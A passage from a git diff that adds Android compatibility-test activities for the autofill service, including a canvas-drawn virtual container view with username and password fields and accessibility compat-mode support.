+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.autofill.AutofillId;
+import android.widget.Button;
+import android.widget.EditText;
+
+public final class UsernameOnlyActivity extends AbstractAutoFillActivity {
+
+    private static final String TAG = "UsernameOnlyActivity";
+
+    private EditText mUsernameEditText;
+    private Button mNextButton;
+    private AutofillId mPasswordAutofillId;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(getContentView());
+
+        mUsernameEditText = findViewById(R.id.username);
+        mNextButton = findViewById(R.id.next);
+        mNextButton.setOnClickListener((v) -> next());
+    }
+
+    protected int getContentView() {
+        return R.layout.username_only_activity;
+    }
+
+    public void focusOnUsername() {
+        syncRunOnUiThread(() -> mUsernameEditText.requestFocus());
+    }
+
+    public void setUsername(String username) {
+        syncRunOnUiThread(() -> mUsernameEditText.setText(username));
+    }
+
+    public AutofillId getUsernameAutofillId() {
+        return mUsernameEditText.getAutofillId();
+    }
+
+    /**
+     * Sets the autofill id of the password using the intent that launches the new activity, so it's
+     * set before the view strucutre is generated.
+     */
+    public void setPasswordAutofillId(AutofillId id) {
+        mPasswordAutofillId = id;
+    }
+
+    public void next() {
+        final String username = mUsernameEditText.getText().toString();
+        Log.v(TAG, "Going to next screen as user " + username + " and aid " + mPasswordAutofillId);
+        final Intent intent = new Intent(this, PasswordOnlyActivity.class)
+                .putExtra(PasswordOnlyActivity.EXTRA_USERNAME, username)
+                .putExtra(PasswordOnlyActivity.EXTRA_PASSWORD_AUTOFILL_ID, mPasswordAutofillId);
+        startActivity(intent);
+        finish();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/ViewActionActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/ViewActionActivity.java
new file mode 100644
index 0000000..29d853a
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/ViewActionActivity.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.UiBot;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.widget.TextView;
+
+/**
+ * Activity that handles VIEW action.
+ */
+public class ViewActionActivity extends AbstractAutoFillActivity {
+
+    private static ViewActionActivity sInstance;
+
+    private static final String TAG = "ViewActionHandleActivity";
+    static final String ID_WELCOME = "welcome";
+    static final String DEFAULT_MESSAGE = "Welcome VIEW action handle activity";
+    private boolean mHasCustomBackBehavior;
+
+    public enum ActivityCustomAction {
+        NORMAL_ACTIVITY,
+        FAST_FORWARD_ANOTHER_ACTIVITY,
+        TAP_BACK_WITHOUT_FINISH
+    }
+
+    public ViewActionActivity() {
+        sInstance = this;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.welcome_activity);
+
+        final Uri data = getIntent().getData();
+        ActivityCustomAction type = ActivityCustomAction.valueOf(data.getSchemeSpecificPart());
+
+        switch (type) {
+            case FAST_FORWARD_ANOTHER_ACTIVITY:
+                startSecondActivity();
+                break;
+            case TAP_BACK_WITHOUT_FINISH:
+                mHasCustomBackBehavior = true;
+                break;
+            case NORMAL_ACTIVITY:
+            default:
+                // no-op
+        }
+
+        TextView welcome = (TextView) findViewById(R.id.welcome);
+        welcome.setText(DEFAULT_MESSAGE);
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+
+        Log.v(TAG, "Setting sInstance to null onDestroy()");
+        sInstance = null;
+    }
+
+    @Override
+    public void finish() {
+        super.finish();
+        mHasCustomBackBehavior = false;
+    }
+
+    @Override
+    public void onBackPressed() {
+        if (mHasCustomBackBehavior) {
+            moveTaskToBack(true);
+            return;
+        }
+        super.onBackPressed();
+    }
+
+    public static void finishIt() {
+        if (sInstance != null) {
+            sInstance.finish();
+        }
+    }
+
+    private void startSecondActivity() {
+        final Intent intent = new Intent(this, SecondActivity.class)
+                .setFlags(Intent.FLAG_ACTIVITY_NO_HISTORY);
+        startActivity(intent);
+        finish();
+    }
+
+    public static void assertShowingDefaultMessage(UiBot uiBot) throws Exception {
+        final UiObject2 activity = uiBot.assertShownByRelativeId(ID_WELCOME);
+        assertWithMessage("wrong text on '%s'", activity).that(activity.getText())
+                .isEqualTo(DEFAULT_MESSAGE);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/ViewAttributesTestActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/ViewAttributesTestActivity.java
new file mode 100644
index 0000000..0fa4f94
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/ViewAttributesTestActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+import android.os.Bundle;
+
+import androidx.annotation.Nullable;
+
+public class ViewAttributesTestActivity extends AbstractAutoFillActivity {
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.view_attribute_test_activity);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/VirtualContainerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/VirtualContainerActivity.java
new file mode 100644
index 0000000..b4ea508
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/VirtualContainerActivity.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD_LABEL;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME_LABEL;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.activities.VirtualContainerView.Line;
+import android.autofillservice.cts.activities.VirtualContainerView.Line.OneTimeLineWatcher;
+import android.graphics.Canvas;
+import android.os.Bundle;
+import android.text.InputType;
+import android.widget.EditText;
+
+/**
+ * A custom activity that uses {@link Canvas} to draw the following fields:
+ *
+ * <ul>
+ *   <li>Username
+ *   <li>Password
+ * </ul>
+ */
+public class VirtualContainerActivity extends AbstractAutoFillActivity {
+
+    public static final String BLANK_VALUE = "        ";
+    public static final String INITIAL_URL_BAR_VALUE = "ftp://dev.null/4/8/15/16/23/42";
+
+    public EditText mUrlBar;
+    public EditText mUrlBar2;
+    public VirtualContainerView mCustomView;
+
+    public Line mUsername;
+    public Line mPassword;
+
+    private FillExpectation mExpectation;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.virtual_container_activity);
+
+        mUrlBar = findViewById(R.id.my_url_bar);
+        mUrlBar2 = findViewById(R.id.my_url_bar2);
+        mCustomView = findViewById(R.id.virtual_container_view);
+
+        mUrlBar.setText(INITIAL_URL_BAR_VALUE);
+        mUsername = mCustomView.addLine(ID_USERNAME_LABEL, "Username", ID_USERNAME, BLANK_VALUE,
+                InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_NORMAL);
+        mPassword = mCustomView.addLine(ID_PASSWORD_LABEL, "Password", ID_PASSWORD, BLANK_VALUE,
+                InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_PASSWORD);
+    }
+
+    /**
+     * Triggers manual autofill in a given line.
+     */
+    public void requestAutofill(Line line) {
+        getAutofillManager().requestAutofill(mCustomView, line.text.id, line.bounds);
+    }
+
+    /**
+     * Sets the expectation for an auto-fill request, so it can be asserted through
+     * {@link #assertAutoFilled()} later.
+     */
+    public void expectAutoFill(String username, String password) {
+        mExpectation = new FillExpectation(username, password);
+        mUsername.setTextChangedListener(mExpectation.ccUsernameWatcher);
+        mPassword.setTextChangedListener(mExpectation.ccPasswordWatcher);
+    }
+
+    /**
+     * Asserts the activity was auto-filled with the values passed to
+     * {@link #expectAutoFill(String, String)}.
+     */
+    public void assertAutoFilled() throws Exception {
+        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
+        mExpectation.ccUsernameWatcher.assertAutoFilled();
+        mExpectation.ccPasswordWatcher.assertAutoFilled();
+    }
+
+    /**
+     * Holder for the expected auto-fill values.
+     */
+    private final class FillExpectation {
+        private final OneTimeLineWatcher ccUsernameWatcher;
+        private final OneTimeLineWatcher ccPasswordWatcher;
+
+        private FillExpectation(String username, String password) {
+            ccUsernameWatcher = mUsername.new OneTimeLineWatcher(username);
+            ccPasswordWatcher = mPassword.new OneTimeLineWatcher(password);
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/VirtualContainerView.java b/tests/autofillservice/src/android/autofillservice/cts/activities/VirtualContainerView.java
new file mode 100644
index 0000000..bb3d37d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/VirtualContainerView.java
@@ -0,0 +1,604 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import static android.autofillservice.cts.testcore.Timeouts.FILL_TIMEOUT;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.assist.AssistStructure.ViewNode;
+import android.content.Context;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.Paint;
+import android.graphics.Paint.Style;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.text.Editable;
+import android.text.TextUtils;
+import android.text.TextWatcher;
+import android.util.AttributeSet;
+import android.util.DisplayMetrics;
+import android.util.Log;
+import android.util.Pair;
+import android.util.SparseArray;
+import android.view.MotionEvent;
+import android.view.View;
+import android.view.ViewStructure;
+import android.view.ViewStructure.HtmlInfo;
+import android.view.WindowManager;
+import android.view.accessibility.AccessibilityEvent;
+import android.view.accessibility.AccessibilityManager;
+import android.view.accessibility.AccessibilityNodeInfo;
+import android.view.accessibility.AccessibilityNodeProvider;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillManager;
+import android.view.autofill.AutofillValue;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class VirtualContainerView extends View {
+
+    private static final String TAG = "VirtualContainerView";
+    private static final int LOGIN_BUTTON_VIRTUAL_ID = 666;
+
+    public static final String LABEL_CLASS = "my.readonly.view";
+    public static final String TEXT_CLASS = "my.editable.view";
+    public static final String ID_URL_BAR = "my_url_bar";
+    public static final String ID_URL_BAR2 = "my_url_bar2";
+
+    public final AutofillId mLoginButtonId;
+    private final ArrayList<Line> mLines = new ArrayList<>();
+    private final SparseArray<Item> mItems = new SparseArray<>();
+    private AutofillManager mAfm;
+
+    private Line mFocusedLine;
+    private int mNextChildId;
+
+    private Paint mTextPaint;
+    private int mTextHeight;
+    private int mTopMargin;
+    private int mLeftMargin;
+    private int mVerticalGap;
+    private int mLineLength;
+    private int mFocusedColor;
+    private int mUnfocusedColor;
+    private boolean mSync = true;
+    private boolean mOverrideDispatchProvideAutofillStructure = false;
+
+    private boolean mCompatMode = false;
+    private AccessibilityDelegate mAccessibilityDelegate;
+    private AccessibilityNodeProvider mAccessibilityNodeProvider;
+
+    /**
+     * Enum defining how the view communicate visibility changes to the framework
+     */
+    public enum VisibilityIntegrationMode {
+        NOTIFY_AFM,
+        OVERRIDE_IS_VISIBLE_TO_USER
+    }
+
+    private VisibilityIntegrationMode mVisibilityIntegrationMode;
+
+    public VirtualContainerView(Context context, AttributeSet attrs) {
+        super(context, attrs);
+
+        setAutofillManager(context);
+
+        mTextPaint = new Paint();
+
+        mUnfocusedColor = Color.BLACK;
+        mFocusedColor = Color.RED;
+        mTextPaint.setStyle(Style.FILL);
+        DisplayMetrics metrics = new DisplayMetrics();
+        WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);
+        wm.getDefaultDisplay().getMetrics(metrics);
+        mTopMargin = metrics.heightPixels * 3 / 100;
+        mLeftMargin = metrics.widthPixels * 3 / 100;
+        mTextHeight = metrics.widthPixels * 3 / 100; // adjust text size with display width
+        mVerticalGap = metrics.heightPixels / 100;
+
+        mLineLength = mTextHeight + mVerticalGap;
+        mTextPaint.setTextSize(mTextHeight);
+        Log.d(TAG, "Text height: " + mTextHeight);
+        mLoginButtonId = new AutofillId(getAutofillId(), LOGIN_BUTTON_VIRTUAL_ID);
+    }
+
+    public void setAutofillManager(Context context) {
+        mAfm = context.getSystemService(AutofillManager.class);
+        Log.d(TAG, "Set AFM from " + context);
+    }
+
+    @Override
+    public void autofill(SparseArray<AutofillValue> values) {
+        Log.d(TAG, "autofill: " + values);
+        if (mCompatMode) {
+            Log.v(TAG, "using super.autofill() on compat mode");
+            super.autofill(values);
+            return;
+        }
+        for (int i = 0; i < values.size(); i++) {
+            final int id = values.keyAt(i);
+            final AutofillValue value = values.valueAt(i);
+            final Item item = getItem(id);
+            item.autofill(value.getTextValue());
+        }
+        postInvalidate();
+    }
+
+    @Override
+    protected void onDraw(Canvas canvas) {
+        super.onDraw(canvas);
+
+        Log.d(TAG, "onDraw: " + mLines.size() + " lines; canvas:" + canvas);
+        float x;
+        float y = mTopMargin + mLineLength;
+        for (int i = 0; i < mLines.size(); i++) {
+            x = mLeftMargin;
+            final Line line = mLines.get(i);
+            if (!line.visible) {
+                continue;
+            }
+            Log.v(TAG, "Drawing '" + line + "' at " + x + "x" + y);
+            mTextPaint.setColor(line.focused ? mFocusedColor : mUnfocusedColor);
+            final String readOnlyText = line.label.text + ":  [";
+            final String writeText = line.text.text + "]";
+            // Paints the label first...
+            canvas.drawText(readOnlyText, x, y, mTextPaint);
+            // ...then paints the edit text and sets the proper boundary
+            final float deltaX = mTextPaint.measureText(readOnlyText);
+            x += deltaX;
+            line.bounds.set((int) x, (int) (y - mLineLength),
+                    (int) (x + mTextPaint.measureText(writeText)), (int) y);
+            Log.d(TAG, "setBounds(" + x + ", " + y + "): " + line.bounds);
+            canvas.drawText(writeText, x, y, mTextPaint);
+            y += mLineLength;
+        }
+    }
+
+    @Override
+    public boolean onTouchEvent(MotionEvent event) {
+        final int y = (int) event.getY();
+        Log.d(TAG, "You can touch this: y=" + y + ", range=" + mLineLength + ", top=" + mTopMargin);
+        int lowerY = mTopMargin;
+        int upperY = -1;
+        for (int i = 0; i < mLines.size(); i++) {
+            upperY = lowerY + mLineLength;
+            final Line line = mLines.get(i);
+            Log.d(TAG, "Line " + i + " ranges from " + lowerY + " to " + upperY);
+            if (lowerY <= y && y <= upperY) {
+                if (mFocusedLine != null) {
+                    Log.d(TAG, "Removing focus from " + mFocusedLine);
+                    mFocusedLine.changeFocus(false);
+                }
+                Log.d(TAG, "Changing focus to " + line);
+                mFocusedLine = line;
+                mFocusedLine.changeFocus(true);
+                invalidate();
+                break;
+            }
+            lowerY += mLineLength;
+        }
+        return super.onTouchEvent(event);
+    }
+
+    @Override
+    public void dispatchProvideAutofillStructure(ViewStructure structure, int flags) {
+        if (mOverrideDispatchProvideAutofillStructure) {
+            Log.d(TAG, "Overriding dispatchProvideAutofillStructure()");
+            structure.setAutofillId(getAutofillId());
+            onProvideAutofillVirtualStructure(structure, flags);
+        } else {
+            super.dispatchProvideAutofillStructure(structure, flags);
+        }
+    }
+
+    @Override
+    public void onProvideAutofillVirtualStructure(ViewStructure structure, int flags) {
+        Log.d(TAG, "onProvideAutofillVirtualStructure(): flags = " + flags);
+        super.onProvideAutofillVirtualStructure(structure, flags);
+
+        if (mCompatMode) {
+            Log.v(TAG, "using super.onProvideAutofillVirtualStructure() on compat mode");
+            return;
+        }
+
+        final String packageName = getContext().getPackageName();
+        structure.setClassName(getClass().getName());
+        final int childrenSize = mItems.size();
+        int index = structure.addChildCount(childrenSize);
+        final String syncMsg = mSync ? "" : " (async)";
+        for (int i = 0; i < childrenSize; i++) {
+            final Item item = mItems.valueAt(i);
+            Log.d(TAG, "Adding new child" + syncMsg + " at index " + index + ": " + item);
+            final ViewStructure child = mSync
+                    ? structure.newChild(index)
+                    : structure.asyncNewChild(index);
+            child.setAutofillId(structure.getAutofillId(), item.id);
+            child.setDataIsSensitive(item.sensitive);
+            if (item.editable) {
+                child.setInputType(item.line.inputType);
+            }
+            index++;
+            child.setClassName(item.className);
+            // Must set "fake" idEntry because that's what the test cases use to find nodes.
+            child.setId(1000 + index, packageName, "id", item.resourceId);
+            child.setText(item.text);
+            if (TextUtils.getTrimmedLength(item.text) > 0) {
+                // TODO: Must checked trimmed length because input fields use 8 empty spaces to
+                // set width
+                child.setAutofillValue(AutofillValue.forText(item.text));
+            }
+            child.setFocused(item.line.focused);
+            child.setHtmlInfo(child.newHtmlInfoBuilder("TAGGY")
+                    .addAttribute("a1", "v1")
+                    .addAttribute("a2", "v2")
+                    .addAttribute("a1", "v2")
+                    .build());
+            child.setAutofillHints(new String[] {"c", "a", "a", "b", "a", "a"});
+
+            if (!mSync) {
+                Log.d(TAG, "Commiting virtual child");
+                child.asyncCommit();
+            }
+        }
+    }
+
+    @Override
+    public boolean isVisibleToUserForAutofill(int virtualId) {
+        boolean callSuper = true;
+        if (mVisibilityIntegrationMode == null) {
+            Log.w(TAG, "isVisibleToUserForAutofill(): mVisibilityIntegrationMode not set");
+        } else {
+            callSuper = mVisibilityIntegrationMode == VisibilityIntegrationMode.NOTIFY_AFM;
+        }
+        final boolean isVisible;
+        if (callSuper) {
+            isVisible = super.isVisibleToUserForAutofill(virtualId);
+            Log.d(TAG, "isVisibleToUserForAutofill(" + virtualId + ") using super: " + isVisible);
+        } else {
+            final Item item = getItem(virtualId);
+            isVisible = item.line.visible;
+            Log.d(TAG, "isVisibleToUserForAutofill(" + virtualId + ") set by test: " + isVisible);
+        }
+        return isVisible;
+    }
+
+    /**
+     * Emulates clicking the login button.
+     */
+    public void clickLogin() {
+        Log.d(TAG, "clickLogin()");
+        if (mCompatMode) {
+            sendAccessibilityEvent(AccessibilityEvent.TYPE_VIEW_CLICKED, LOGIN_BUTTON_VIRTUAL_ID);
+        } else {
+            mAfm.notifyViewClicked(this, LOGIN_BUTTON_VIRTUAL_ID);
+        }
+    }
+
+    private Item getItem(int id) {
+        final Item item = mItems.get(id);
+        assertWithMessage("No item for id %s", id).that(item).isNotNull();
+        return item;
+    }
+
+    private AccessibilityNodeInfo onProvideAutofillCompatModeAccessibilityNodeInfo() {
+        final AccessibilityNodeInfo node = AccessibilityNodeInfo.obtain();
+
+        final String packageName = getContext().getPackageName();
+        node.setPackageName(packageName);
+        node.setClassName(getClass().getName());
+
+        final int childrenSize = mItems.size();
+        for (int i = 0; i < childrenSize; i++) {
+            final Item item = mItems.valueAt(i);
+            final int id = i + 1;
+            Log.d(TAG, "Adding new A11Y child with id " + id + ": " + item);
+
+            node.addChild(this, id);
+        }
+
+        return node;
+    }
+
+    private AccessibilityNodeInfo onProvideAutofillCompatModeAccessibilityNodeInfoForLoginButton() {
+        final AccessibilityNodeInfo node = AccessibilityNodeInfo.obtain();
+        node.setSource(this, LOGIN_BUTTON_VIRTUAL_ID);
+        node.setPackageName(getContext().getPackageName());
+        // TODO(b/37566627): ideally this button should be visible / drawn in the canvas and contain
+        // more properties like boundaries, class name, text etc...
+        return node;
+    }
+
+    public static void assertHtmlInfo(ViewNode node) {
+        final String name = node.getText().toString();
+        final HtmlInfo info = node.getHtmlInfo();
+        assertWithMessage("no HTML info on %s", name).that(info).isNotNull();
+        assertWithMessage("wrong HTML tag on %s", name).that(info.getTag()).isEqualTo("TAGGY");
+        assertWithMessage("wrong attributes on %s", name).that(info.getAttributes())
+                .containsExactly(
+                        new Pair<>("a1", "v1"),
+                        new Pair<>("a2", "v2"),
+                        new Pair<>("a1", "v2"));
+    }
+
+    public Line addLine(String labelId, String label, String textId, String text, int inputType) {
+        final Line line = new Line(labelId, label, textId, text, inputType);
+        Log.d(TAG, "addLine: " + line);
+        mLines.add(line);
+        mItems.put(line.label.id, line.label);
+        mItems.put(line.text.id, line.text);
+        return line;
+    }
+
+    public void setSync(boolean sync) {
+        mSync = sync;
+    }
+
+    public void setCompatMode(boolean compatMode) {
+        mCompatMode = compatMode;
+
+        if (mCompatMode) {
+            setImportantForAccessibility(View.IMPORTANT_FOR_ACCESSIBILITY_YES);
+            mAccessibilityNodeProvider = new AccessibilityNodeProvider() {
+                @Override
+                public AccessibilityNodeInfo createAccessibilityNodeInfo(int virtualViewId) {
+                    Log.d(TAG, "createAccessibilityNodeInfo(): id=" + virtualViewId);
+                    switch (virtualViewId) {
+                        case AccessibilityNodeProvider.HOST_VIEW_ID:
+                            return onProvideAutofillCompatModeAccessibilityNodeInfo();
+                        case LOGIN_BUTTON_VIRTUAL_ID:
+                            return onProvideAutofillCompatModeAccessibilityNodeInfoForLoginButton();
+                        default:
+                            final Item item = getItem(virtualViewId);
+                            return item.provideAccessibilityNodeInfo(VirtualContainerView.this,
+                                    getContext());
+                    }
+                }
+
+                @Override
+                public boolean performAction(int virtualViewId, int action, Bundle arguments) {
+                    if (action == AccessibilityNodeInfo.ACTION_SET_TEXT) {
+                        final CharSequence text = arguments.getCharSequence(
+                                AccessibilityNodeInfo.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE);
+                        final Item item = getItem(virtualViewId);
+                        item.autofill(text);
+                        return true;
+                    }
+
+                    return false;
+                }
+            };
+            mAccessibilityDelegate = new AccessibilityDelegate() {
+                @Override
+                public AccessibilityNodeProvider getAccessibilityNodeProvider(View host) {
+                    return mAccessibilityNodeProvider;
+                }
+            };
+
+            setAccessibilityDelegate(mAccessibilityDelegate);
+        }
+    }
+
+    public void setOverrideDispatchProvideAutofillStructure(boolean flag) {
+        mOverrideDispatchProvideAutofillStructure = flag;
+    }
+
+    private void sendAccessibilityEvent(int eventType, int virtualId) {
+        final AccessibilityEvent event = AccessibilityEvent.obtain();
+        event.setEventType(eventType);
+        event.setSource(VirtualContainerView.this, virtualId);
+        event.setEnabled(true);
+        event.setPackageName(getContext().getPackageName());
+        Log.v(TAG, "sendAccessibilityEvent(" + eventType + ", " + virtualId + "): " + event);
+        getContext().getSystemService(AccessibilityManager.class).sendAccessibilityEvent(event);
+    }
+
+    public final class Line {
+
+        public final Item text;
+        final Item label;
+        // Boundaries of the text field, relative to the CustomView
+        final Rect bounds = new Rect();
+        // Boundaries of the text field, relative to the screen
+        Rect absBounds;
+
+        private boolean focused;
+        private boolean visible = true;
+        private final int inputType;
+
+        private Line(String labelId, String label, String textId, String text, int inputType) {
+            this.label = new Item(this, ++mNextChildId, labelId, label, false, false);
+            this.text = new Item(this, ++mNextChildId, textId, text, true, true);
+            this.inputType = inputType;
+        }
+
+        public void changeFocus(boolean focused) {
+            this.focused = focused;
+
+            if (focused) {
+                absBounds = getAbsCoordinates();
+                Log.v(TAG, "Setting absBounds for " + text.id + " on focus change: " + absBounds);
+            }
+
+            if (mCompatMode) {
+                sendAccessibilityEvent(AccessibilityEvent.TYPE_VIEW_FOCUSED, text.id);
+                return;
+            }
+
+            if (focused) {
+                Log.d(TAG, "focus gained on " + text.id + "; absBounds=" + absBounds);
+                mAfm.notifyViewEntered(VirtualContainerView.this, text.id, absBounds);
+            } else {
+                Log.d(TAG, "focus lost on " + text.id);
+                mAfm.notifyViewExited(VirtualContainerView.this, text.id);
+            }
+        }
+
+        public void setVisibilityIntegrationMode(VisibilityIntegrationMode mode) {
+            mVisibilityIntegrationMode = mode;
+        }
+
+        public void changeVisibility(boolean visible) {
+            if (mVisibilityIntegrationMode == null) {
+                throw new IllegalStateException("must call setVisibilityIntegrationMode() first");
+            }
+            if (this.visible == visible) {
+                return;
+            }
+            this.visible = visible;
+            Log.d(TAG, "visibility changed view: " + text.id + "; visible:" + visible
+                    + "; integrationMode: " + mVisibilityIntegrationMode);
+            if (mVisibilityIntegrationMode == VisibilityIntegrationMode.NOTIFY_AFM) {
+                mAfm.notifyViewVisibilityChanged(VirtualContainerView.this, text.id, visible);
+            }
+            invalidate();
+        }
+
+        public Rect getAbsCoordinates() {
+            // Must offset the boundaries so they're relative to the CustomView.
+            final int[] offset = new int[2];
+            getLocationOnScreen(offset);
+            final Rect absBounds = new Rect(bounds.left + offset[0],
+                    bounds.top + offset[1],
+                    bounds.right + offset[0], bounds.bottom + offset[1]);
+            Log.v(TAG, "getAbsCoordinates() for " + text.id + ": bounds=" + bounds
+                    + " offset: " + Arrays.toString(offset) + " absBounds: " + absBounds);
+            return absBounds;
+        }
+
+        public void setText(String value) {
+            text.text = value;
+            final AutofillManager autofillManager =
+                    getContext().getSystemService(AutofillManager.class);
+            if (mCompatMode) {
+                sendAccessibilityEvent(AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED, text.id);
+            } else {
+                if (autofillManager != null) {
+                    autofillManager.notifyValueChanged(VirtualContainerView.this, text.id,
+                            AutofillValue.forText(text.text));
+                }
+            }
+            invalidate();
+        }
+
+        public void setTextChangedListener(TextWatcher listener) {
+            text.listener = listener;
+        }
+
+        @Override
+        public String toString() {
+            return "Label: " + label + " Text: " + text + " Focused: " + focused
+                    + " Visible: " + visible;
+        }
+
+        final class OneTimeLineWatcher implements TextWatcher {
+            private final CountDownLatch latch;
+            private final CharSequence expected;
+
+            OneTimeLineWatcher(CharSequence expectedValue) {
+                this.expected = expectedValue;
+                this.latch = new CountDownLatch(1);
+            }
+
+            @Override
+            public void beforeTextChanged(CharSequence s, int start, int count, int after) {
+            }
+
+            @Override
+            public void onTextChanged(CharSequence s, int start, int before, int count) {
+                latch.countDown();
+            }
+
+            @Override
+            public void afterTextChanged(Editable s) {
+            }
+
+            void assertAutoFilled() throws Exception {
+                final boolean set = latch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+                assertWithMessage("Timeout (%s ms) on Line %s", FILL_TIMEOUT.ms(), label)
+                        .that(set).isTrue();
+                final String actual = text.text.toString();
+                assertWithMessage("Wrong auto-fill value on Line %s", label)
+                        .that(actual).isEqualTo(expected.toString());
+            }
+        }
+    }
+
+    public static final class Item {
+        private final Line line;
+        public final int id;
+        private final String resourceId;
+        private CharSequence text;
+        private final boolean editable;
+        private final boolean sensitive;
+        private final String className;
+        private TextWatcher listener;
+
+        public Item(Line line, int id, String resourceId, CharSequence text, boolean editable,
+                boolean sensitive) {
+            this.line = line;
+            this.id = id;
+            this.resourceId = resourceId;
+            this.text = text;
+            this.editable = editable;
+            this.sensitive = sensitive;
+            this.className = editable ? TEXT_CLASS : LABEL_CLASS;
+        }
+
+        public AccessibilityNodeInfo provideAccessibilityNodeInfo(View parent, Context context) {
+            final AccessibilityNodeInfo node = AccessibilityNodeInfo.obtain();
+            node.setSource(parent, id);
+            node.setPackageName(context.getPackageName());
+            node.setClassName(className);
+            node.setEditable(editable);
+            node.setViewIdResourceName(resourceId);
+            node.setVisibleToUser(true);
+            node.setInputType(line.inputType);
+            if (line.absBounds != null) {
+                node.setBoundsInScreen(line.absBounds);
+            }
+            if (TextUtils.getTrimmedLength(text) > 0) {
+                // TODO: Must checked trimmed length because input fields use 8 empty spaces to
+                // set width
+                node.setText(text);
+            }
+            return node;
+        }
+
+        private void autofill(CharSequence value) {
+            if (!editable) {
+                Log.w(TAG, "Item for id " + id + " is not editable: " + this);
+                return;
+            }
+            text = value;
+            if (listener != null) {
+                Log.d(TAG, "Notify listener: " + text);
